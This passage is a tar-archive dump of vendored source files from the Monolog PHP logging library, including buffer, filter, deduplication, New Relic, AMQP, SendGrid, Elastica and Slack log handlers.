FormattableHandlerInterface { use ProcessableHandlerTrait; /** @var HandlerInterface */ protected $handler; protected $bufferSize = 0; protected $bufferLimit; protected $flushOnOverflow; protected $buffer = []; protected $initialized = false; /** * @param HandlerInterface $handler Handler. * @param int $bufferLimit How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $flushOnOverflow If true, the buffer is flushed when the max size has been reached, by default oldest entries are discarded */ public function __construct(HandlerInterface $handler, int $bufferLimit = 0, $level = Logger::DEBUG, bool $bubble = true, bool $flushOnOverflow = false) { parent::__construct($level, $bubble); $this->handler = $handler; $this->bufferLimit = $bufferLimit; $this->flushOnOverflow = $flushOnOverflow; } /** * {@inheritdoc} */ public function handle(array $record): bool { if ($record['level'] < $this->level) { return false; } if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors register_shutdown_function([$this, 'close']); $this->initialized = true; } if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) { if ($this->flushOnOverflow) { $this->flush(); } else { array_shift($this->buffer); $this->bufferSize--; } } if ($this->processors) { $record = $this->processRecord($record); } $this->buffer[] = $record; $this->bufferSize++; return false === $this->bubble; } public function flush(): void { if ($this->bufferSize === 0) { return; } $this->handler->handleBatch($this->buffer); $this->clear(); } public function __destruct() { // suppress the parent behavior since we already have register_shutdown_function() // to call close(), and the reference contained there will prevent this from being // GC'd until the end of the request } /** * {@inheritdoc} */ public function close(): void { $this->flush(); $this->handler->close(); } /** * Clears the buffer without flushing any messages down to the wrapped handler. */ public function clear(): void { $this->bufferSize = 0; $this->buffer = []; } public function reset() { $this->flush(); parent::reset(); $this->resetProcessors(); if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php���������������������������������0000644�����������������00000013461�15154650146�0021501 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Simple handler wrapper that filters records based on a list of levels * * It can be configured with an exact list of levels to allow, or a min/max level. * * @author Hennadiy Verkh * @author Jordi Boggiano <j.boggiano@seld.be> */ class FilterHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * Handler or factory callable($record, $this) * * @var callable|\Monolog\Handler\HandlerInterface */ protected $handler; /** * Minimum level for logs that are passed to handler * * @var int[] */ protected $acceptedLevels; /** * Whether the messages that are handled can bubble up the stack or not * * @var bool */ protected $bubble; /** * @psalm-param HandlerInterface|callable(?array, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $filterHandler). * @param int|array $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided * @param int|string $maxLevel Maximum level to accept, only used if $minLevelOrList is not an array * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, bool $bubble = true) { $this->handler = $handler; $this->bubble = $bubble; $this->setAcceptedLevels($minLevelOrList, $maxLevel); if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } public function getAcceptedLevels(): array { return array_flip($this->acceptedLevels); } /** * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided * @param int|string $maxLevel Maximum level or level name to accept, only used if $minLevelOrList is not an array */ public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY): self { if (is_array($minLevelOrList)) { $acceptedLevels = array_map('Monolog\Logger::toMonologLevel', $minLevelOrList); } else { $minLevelOrList = Logger::toMonologLevel($minLevelOrList); $maxLevel = Logger::toMonologLevel($maxLevel); $acceptedLevels = array_values(array_filter(Logger::getLevels(), function ($level) use ($minLevelOrList, $maxLevel) { return $level >= $minLevelOrList && $level <= $maxLevel; })); } $this->acceptedLevels = array_flip($acceptedLevels); return $this; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return isset($this->acceptedLevels[$record['level']]); } /** * {@inheritdoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->processors) { $record = $this->processRecord($record); } $this->getHandler($record)->handle($record); return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $filtered = []; foreach ($records as $record) { if ($this->isHandling($record)) { $filtered[] = $record; } } if (count($filtered) > 0) { $this->getHandler($filtered[count($filtered) - 1])->handleBatch($filtered); } } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } public function reset() { $this->resetProcessors(); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/Handler.php���������������������������������������0000644�����������������00000002005�15154650146�0020323 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Base Handler class providing basic close() support as well as handleBatch * * @author Jordi Boggiano <j.boggiano@seld.be> */ abstract class Handler implements HandlerInterface { /** * {@inheritdoc} */ public function handleBatch(array $records): void { foreach ($records as $record) { $this->handle($record); } } /** * {@inheritdoc} */ public function close(): void { } public function __destruct() { try { $this->close(); } catch (\Throwable $e) { // do nothing } } public function __sleep() { $this->close(); return array_keys(get_object_vars($this)); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php�������������������������������0000644�����������������00000014336�15154650146�0021766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; /** * Class to record a log on a NewRelic application. * Enabling New Relic High Security mode may prevent capture of useful information. * * This handler requires a NormalizerFormatter to function and expects an array in $record['formatted'] * * @see https://docs.newrelic.com/docs/agents/php-agent * @see https://docs.newrelic.com/docs/accounts-partnerships/accounts/security/high-security */ class NewRelicHandler extends AbstractProcessingHandler { /** * Name of the New Relic application that will receive logs from this handler. * * @var string|null */ protected $appName; /** * Name of the current transaction * * @var string|null */ protected $transactionName; /** * Some context and extra data is passed into the handler as arrays of values. Do we send them as is * (useful if we are using the API), or explode them for display on the NewRelic RPM website? * * @var bool */ protected $explodeArrays; /** * {@inheritDoc} * * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @param string|null $appName * @param bool $explodeArrays * @param string|null $transactionName */ public function __construct( $level = Logger::ERROR, bool $bubble = true, ?string $appName = null, bool $explodeArrays = false, ?string $transactionName = null ) { parent::__construct($level, $bubble); $this->appName = $appName; $this->explodeArrays = $explodeArrays; $this->transactionName = $transactionName; } /** * {@inheritDoc} */ protected function write(array $record): void { if (!$this->isNewRelicEnabled()) { throw new MissingExtensionException('The newrelic PHP extension is required to use the NewRelicHandler'); } if ($appName = $this->getAppName($record['context'])) { $this->setNewRelicAppName($appName); } if ($transactionName = $this->getTransactionName($record['context'])) { $this->setNewRelicTransactionName($transactionName); unset($record['formatted']['context']['transaction_name']); } if (isset($record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) { newrelic_notice_error($record['message'], $record['context']['exception']); unset($record['formatted']['context']['exception']); } else { newrelic_notice_error($record['message']); } if (isset($record['formatted']['context']) && is_array($record['formatted']['context'])) { foreach ($record['formatted']['context'] as $key => $parameter) { if (is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('context_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('context_' . $key, $parameter); } } } if (isset($record['formatted']['extra']) && is_array($record['formatted']['extra'])) { foreach ($record['formatted']['extra'] as $key => $parameter) { if (is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('extra_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('extra_' . $key, $parameter); } } } } /** * Checks whether the NewRelic extension is enabled in the system. * * @return bool */ protected function isNewRelicEnabled(): bool { return extension_loaded('newrelic'); } /** * Returns the appname where this log should be sent. Each log can override the default appname, set in this * handler's constructor, by providing the appname in it's context. */ protected function getAppName(array $context): ?string { if (isset($context['appname'])) { return $context['appname']; } return $this->appName; } /** * Returns the name of the current transaction. Each log can override the default transaction name, set in this * handler's constructor, by providing the transaction_name in it's context */ protected function getTransactionName(array $context): ?string { if (isset($context['transaction_name'])) { return $context['transaction_name']; } return $this->transactionName; } /** * Sets the NewRelic application that should receive this log. */ protected function setNewRelicAppName(string $appName): void { newrelic_set_appname($appName); } /** * Overwrites the name of the current transaction */ protected function setNewRelicTransactionName(string $transactionName): void { newrelic_name_transaction($transactionName); } /** * @param string $key * @param mixed $value */ protected function setNewRelicParameter(string $key, $value): void { if (null === $value || is_scalar($value)) { newrelic_add_custom_parameter($key, $value); } else { newrelic_add_custom_parameter($key, Utils::jsonEncode($value, null, true)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php�����������������������������������0000644�����������������00000007706�15154650146�0021157 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\JsonFormatter; use PhpAmqpLib\Message\AMQPMessage; use PhpAmqpLib\Channel\AMQPChannel; use AMQPExchange; class AmqpHandler extends AbstractProcessingHandler { /** * @var AMQPExchange|AMQPChannel $exchange */ protected $exchange; /** * @var string */ protected $exchangeName; /** * @param AMQPExchange|AMQPChannel $exchange AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use * @param string|null $exchangeName Optional exchange name, for AMQPChannel (PhpAmqpLib) only * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($exchange, ?string $exchangeName = null, $level = Logger::DEBUG, bool $bubble = true) { if ($exchange instanceof AMQPChannel) { $this->exchangeName = (string) $exchangeName; } elseif (!$exchange instanceof AMQPExchange) { throw new \InvalidArgumentException('PhpAmqpLib\Channel\AMQPChannel or AMQPExchange instance required'); } elseif ($exchangeName) { @trigger_error('The $exchangeName parameter can only be passed when using PhpAmqpLib, if using an AMQPExchange instance configure it beforehand', E_USER_DEPRECATED); } $this->exchange = $exchange; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $data = $record["formatted"]; $routingKey = $this->getRoutingKey($record); if ($this->exchange instanceof AMQPExchange) { $this->exchange->publish( $data, $routingKey, 0, [ 'delivery_mode' => 2, 'content_type' => 'application/json', ] ); } else { $this->exchange->basic_publish( $this->createAmqpMessage($data), $this->exchangeName, $routingKey ); } } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if ($this->exchange instanceof AMQPExchange) { parent::handleBatch($records); return; } foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } $record = $this->processRecord($record); $data = $this->getFormatter()->format($record); $this->exchange->batch_basic_publish( $this->createAmqpMessage($data), $this->exchangeName, $this->getRoutingKey($record) ); } $this->exchange->publish_batch(); } /** * Gets the routing key for the AMQP exchange */ protected function getRoutingKey(array $record): string { $routingKey = sprintf('%s.%s', $record['level_name'], $record['channel']); return strtolower($routingKey); } private function createAmqpMessage(string $data): AMQPMessage { return new AMQPMessage( $data, [ 'delivery_mode' => 2, 'content_type' => 'application/json', ] ); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); } } ����������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php��������������������������0000644�����������������00000013077�15154650146�0023043 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Simple handler wrapper that deduplicates log records across multiple requests * * It also includes the BufferHandler functionality and will buffer * all messages until the end of the request or flush() is called. * * This works by storing all log records' messages above $deduplicationLevel * to the file specified by $deduplicationStore. When further logs come in at the end of the * request (or when flush() is called), all those above $deduplicationLevel are checked * against the existing stored logs. If they match and the timestamps in the stored log is * not older than $time seconds, the new log record is discarded. If no log record is new, the * whole data set is discarded. * * This is mainly useful in combination with Mail handlers or things like Slack or HipChat handlers * that send messages to people, to avoid spamming with the same message over and over in case of * a major component failure like a database server being down which makes all requests fail in the * same way. * * @author Jordi Boggiano <j.boggiano@seld.be> */ class DeduplicationHandler extends BufferHandler { /** * @var string */ protected $deduplicationStore; /** * @var int */ protected $deduplicationLevel; /** * @var int */ protected $time; /** * @var bool */ private $gc = false; /** * @param HandlerInterface $handler Handler. * @param string $deduplicationStore The file/path where the deduplication log should be kept * @param string|int $deduplicationLevel The minimum logging level for log records to be looked at for deduplication purposes * @param int $time The period (in seconds) during which duplicate entries should be suppressed after a given log is sent through * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(HandlerInterface $handler, ?string $deduplicationStore = null, $deduplicationLevel = Logger::ERROR, int $time = 60, bool $bubble = true) { parent::__construct($handler, 0, Logger::DEBUG, $bubble, false); $this->deduplicationStore = $deduplicationStore === null ? sys_get_temp_dir() . '/monolog-dedup-' . substr(md5(__FILE__), 0, 20) .'.log' : $deduplicationStore; $this->deduplicationLevel = Logger::toMonologLevel($deduplicationLevel); $this->time = $time; } public function flush(): void { if ($this->bufferSize === 0) { return; } $passthru = null; foreach ($this->buffer as $record) { if ($record['level'] >= $this->deduplicationLevel) { $passthru = $passthru || !$this->isDuplicate($record); if ($passthru) { $this->appendRecord($record); } } } // default of null is valid as well as if no record matches duplicationLevel we just pass through if ($passthru === true || $passthru === null) { $this->handler->handleBatch($this->buffer); } $this->clear(); if ($this->gc) { $this->collectLogs(); } } private function isDuplicate(array $record): bool { if (!file_exists($this->deduplicationStore)) { return false; } $store = file($this->deduplicationStore, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!is_array($store)) { return false; } $yesterday = time() - 86400; $timestampValidity = $record['datetime']->getTimestamp() - $this->time; $expectedMessage = preg_replace('{[\r\n].*}', '', $record['message']); for ($i = count($store) - 1; $i >= 0; $i--) { list($timestamp, $level, $message) = explode(':', $store[$i], 3); if ($level === $record['level_name'] && $message === $expectedMessage && $timestamp > $timestampValidity) { return true; } if ($timestamp < $yesterday) { $this->gc = true; } } return false; } private function collectLogs(): void { if (!file_exists($this->deduplicationStore)) { return; } $handle = fopen($this->deduplicationStore, 'rw+'); if (!$handle) { throw new \RuntimeException('Failed to open file for reading and writing: ' . $this->deduplicationStore); } flock($handle, LOCK_EX); $validLogs = []; $timestampValidity = time() - $this->time; while (!feof($handle)) { $log = fgets($handle); if ($log && substr($log, 0, 10) >= $timestampValidity) { $validLogs[] = $log; } } ftruncate($handle, 0); rewind($handle); foreach ($validLogs as $log) { fwrite($handle, $log); } flock($handle, LOCK_UN); fclose($handle); $this->gc = false; } private function appendRecord(array $record): void { file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . preg_replace('{[\r\n].*}', '', $record['message']) . "\n", FILE_APPEND); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php�������������������������������0000644�����������������00000004357�15154650146�0022023 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; /** * Base Handler class providing basic level/bubble support * * @author Jordi Boggiano <j.boggiano@seld.be> */ abstract class AbstractHandler extends Handler implements ResettableInterface { protected $level = Logger::DEBUG; protected $bubble = true; /** * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { $this->setLevel($level); $this->bubble = $bubble; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return $record['level'] >= $this->level; } /** * Sets minimum logging level at which this handler will be triggered. * * @param int|string $level Level or level name * @return self */ public function setLevel($level): self { $this->level = Logger::toMonologLevel($level); return $this; } /** * Gets minimum logging level at which this handler will be triggered. * * @return int */ public function getLevel(): int { return $this->level; } /** * Sets the bubbling behavior. * * @param bool $bubble true means that this handler allows bubbling. * false means that bubbling is not permitted. * @return self */ public function setBubble(bool $bubble): self { $this->bubble = $bubble; return $this; } /** * Gets the bubbling behavior. * * @return bool true means that this handler allows bubbling. * false means that bubbling is not permitted. */ public function getBubble(): bool { return $this->bubble; } public function reset() { } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SendGridHandler.php�������������������������������0000644�����������������00000005524�15154650146�0021754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * SendGridrHandler uses the SendGrid API v2 function to send Log emails, more information in https://sendgrid.com/docs/API_Reference/Web_API/mail.html * * @author Ricardo Fontanelli <ricardo.fontanelli@hotmail.com> */ class SendGridHandler extends MailHandler { /** * The SendGrid API User * @var string */ protected $apiUser; /** * The SendGrid API Key * @var string */ protected $apiKey; /** * The email addresses to which the message will be sent * @var string */ protected $from; /** * The email addresses to which the message will be sent * @var array */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * @param string $apiUser The SendGrid API User * @param string $apiKey The SendGrid API Key * @param string $from The sender of the email * @param string|array $to The recipients of the email * @param string $subject The subject of the mail * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $apiUser, string $apiKey, string $from, $to, string $subject, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); $this->apiUser = $apiUser; $this->apiKey = $apiKey; $this->from = $from; $this->to = (array) $to; $this->subject = $subject; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $message = []; $message['api_user'] = $this->apiUser; $message['api_key'] = $this->apiKey; $message['from'] = $this->from; foreach ($this->to as $recipient) { $message['to[]'] = $recipient; } $message['subject'] = $this->subject; $message['date'] = date('r'); if ($this->isHtmlBody($content)) { $message['html'] = $content; } else { $message['text'] = $content; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://api.sendgrid.com/api/mail.send.json'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($message)); Curl\Util::execute($ch, 2); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ElasticaHandler.php�������������������������������0000644�����������������00000006537�15154650146�0022007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\ElasticaFormatter; use Monolog\Logger; use Elastica\Client; use Elastica\Exception\ExceptionInterface; /** * Elastic Search handler * * Usage example: * * $client = new \Elastica\Client(); * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', Types have been removed in Elastica 7 * ); * $handler = new ElasticaHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Jelle Vink <jelle.vink@gmail.com> */ class ElasticaHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var array Handler config options */ protected $options = []; /** * @param Client $client Elastica Client object * @param array $options Handler configuration * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(Client $client, array $options = [], $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = array_merge( [ 'index' => 'monolog', // Elastic index name 'type' => 'record', // Elastic document type 'ignore_error' => false, // Suppress Elastica exceptions ], $options ); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->bulkSend([$record['formatted']]); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($formatter instanceof ElasticaFormatter) { return parent::setFormatter($formatter); } throw new \InvalidArgumentException('ElasticaHandler is only compatible with ElasticaFormatter'); } public function getOptions(): array { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ElasticaFormatter($this->options['index'], $this->options['type']); } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * @throws \RuntimeException */ protected function bulkSend(array $documents): void { try { $this->client->addDocuments($documents); } catch (ExceptionInterface $e) { if (!$this->options['ignore_error']) { throw new \RuntimeException("Error sending messages to Elasticsearch", 0, $e); } } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php�����������������������������0000644�����������������00000023064�15154650146�0022207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\Slack; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; /** * Slack record utility helping to log to Slack webhooks or API. * * @author Greg Kedzierski <greg@gregkedzierski.com> * @author Haralan Dobrev <hkdobrev@gmail.com> * @see https://api.slack.com/incoming-webhooks * @see https://api.slack.com/docs/message-attachments */ class SlackRecord { public const COLOR_DANGER = 'danger'; public const COLOR_WARNING = 'warning'; public const COLOR_GOOD = 'good'; public const COLOR_DEFAULT = '#e3e4e6'; /** * Slack channel (encoded ID or name) * @var string|null */ private $channel; /** * Name of a bot * @var string|null */ private $username; /** * User icon e.g. 'ghost', 'http://example.com/user.png' * @var string|null */ private $userIcon; /** * Whether the message should be added to Slack as attachment (plain text otherwise) * @var bool */ private $useAttachment; /** * Whether the the context/extra messages added to Slack as attachments are in a short style * @var bool */ private $useShortAttachment; /** * Whether the attachment should include context and extra data * @var bool */ private $includeContextAndExtra; /** * Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @var array */ private $excludeFields; /** * @var ?FormatterInterface */ private $formatter; /** * @var NormalizerFormatter */ private $normalizerFormatter; public function __construct( ?string $channel = null, ?string $username = null, bool $useAttachment = true, ?string $userIcon = null, bool $useShortAttachment = false, bool $includeContextAndExtra = false, array $excludeFields = array(), FormatterInterface $formatter = null ) { $this ->setChannel($channel) ->setUsername($username) ->useAttachment($useAttachment) ->setUserIcon($userIcon) ->useShortAttachment($useShortAttachment) ->includeContextAndExtra($includeContextAndExtra) ->excludeFields($excludeFields) ->setFormatter($formatter); if ($this->includeContextAndExtra) { $this->normalizerFormatter = new NormalizerFormatter(); } } /** * Returns required data in format that Slack * is expecting. */ public function getSlackData(array $record): array { $dataArray = array(); $record = $this->removeExcludedFields($record); if ($this->username) { $dataArray['username'] = $this->username; } if ($this->channel) { $dataArray['channel'] = $this->channel; } if ($this->formatter && !$this->useAttachment) { $message = $this->formatter->format($record); } else { $message = $record['message']; } if ($this->useAttachment) { $attachment = array( 'fallback' => $message, 'text' => $message, 'color' => $this->getAttachmentColor($record['level']), 'fields' => array(), 'mrkdwn_in' => array('fields'), 'ts' => $record['datetime']->getTimestamp(), ); if ($this->useShortAttachment) { $attachment['title'] = $record['level_name']; } else { $attachment['title'] = 'Message'; $attachment['fields'][] = $this->generateAttachmentField('Level', $record['level_name']); } if ($this->includeContextAndExtra) { foreach (array('extra', 'context') as $key) { if (empty($record[$key])) { continue; } if ($this->useShortAttachment) { $attachment['fields'][] = $this->generateAttachmentField( (string) $key, $record[$key] ); } else { // Add all extra fields as individual fields in attachment $attachment['fields'] = array_merge( $attachment['fields'], $this->generateAttachmentFields($record[$key]) ); } } } $dataArray['attachments'] = array($attachment); } else { $dataArray['text'] = $message; } if ($this->userIcon) { if (filter_var($this->userIcon, FILTER_VALIDATE_URL)) { $dataArray['icon_url'] = $this->userIcon; } else { $dataArray['icon_emoji'] = ":{$this->userIcon}:"; } } return $dataArray; } /** * Returns a Slack message attachment color associated with * provided level. */ public function getAttachmentColor(int $level): string { switch (true) { case $level >= Logger::ERROR: return static::COLOR_DANGER; case $level >= Logger::WARNING: return static::COLOR_WARNING; case $level >= Logger::INFO: return static::COLOR_GOOD; default: return static::COLOR_DEFAULT; } } /** * Stringifies an array of key/value pairs to be used in attachment fields */ public function stringify(array $fields): string { $normalized = $this->normalizerFormatter->format($fields); $hasSecondDimension = count(array_filter($normalized, 'is_array')); $hasNonNumericKeys = !count(array_filter(array_keys($normalized), 'is_numeric')); return $hasSecondDimension || $hasNonNumericKeys ? Utils::jsonEncode($normalized, JSON_PRETTY_PRINT|Utils::DEFAULT_JSON_FLAGS) : Utils::jsonEncode($normalized, Utils::DEFAULT_JSON_FLAGS); } /** * Channel used by the bot when posting * * @param ?string $channel * * @return static */ public function setChannel(?string $channel = null): self { $this->channel = $channel; return $this; } /** * Username used by the bot when posting * * @param ?string $username * * @return static */ public function setUsername(?string $username = null): self { $this->username = $username; return $this; } public function useAttachment(bool $useAttachment = true): self { $this->useAttachment = $useAttachment; return $this; } public function setUserIcon(?string $userIcon = null): self { $this->userIcon = $userIcon; if (\is_string($userIcon)) { $this->userIcon = trim($userIcon, ':'); } return $this; } public function useShortAttachment(bool $useShortAttachment = false): self { $this->useShortAttachment = $useShortAttachment; return $this; } public function includeContextAndExtra(bool $includeContextAndExtra = false): self { $this->includeContextAndExtra = $includeContextAndExtra; if ($this->includeContextAndExtra) { $this->normalizerFormatter = new NormalizerFormatter(); } return $this; } public function excludeFields(array $excludeFields = []): self { $this->excludeFields = $excludeFields; return $this; } public function 